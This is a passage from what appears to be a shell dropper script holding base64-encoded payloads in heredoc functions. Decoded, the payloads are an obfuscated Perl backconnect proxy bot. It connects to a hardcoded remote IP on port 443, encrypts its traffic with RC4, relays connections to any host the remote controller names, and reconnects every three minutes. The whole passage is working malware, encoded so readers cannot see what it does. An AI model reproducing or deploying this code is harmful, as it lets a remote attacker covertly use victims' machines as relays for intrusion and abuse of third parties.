ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_54() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTQnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 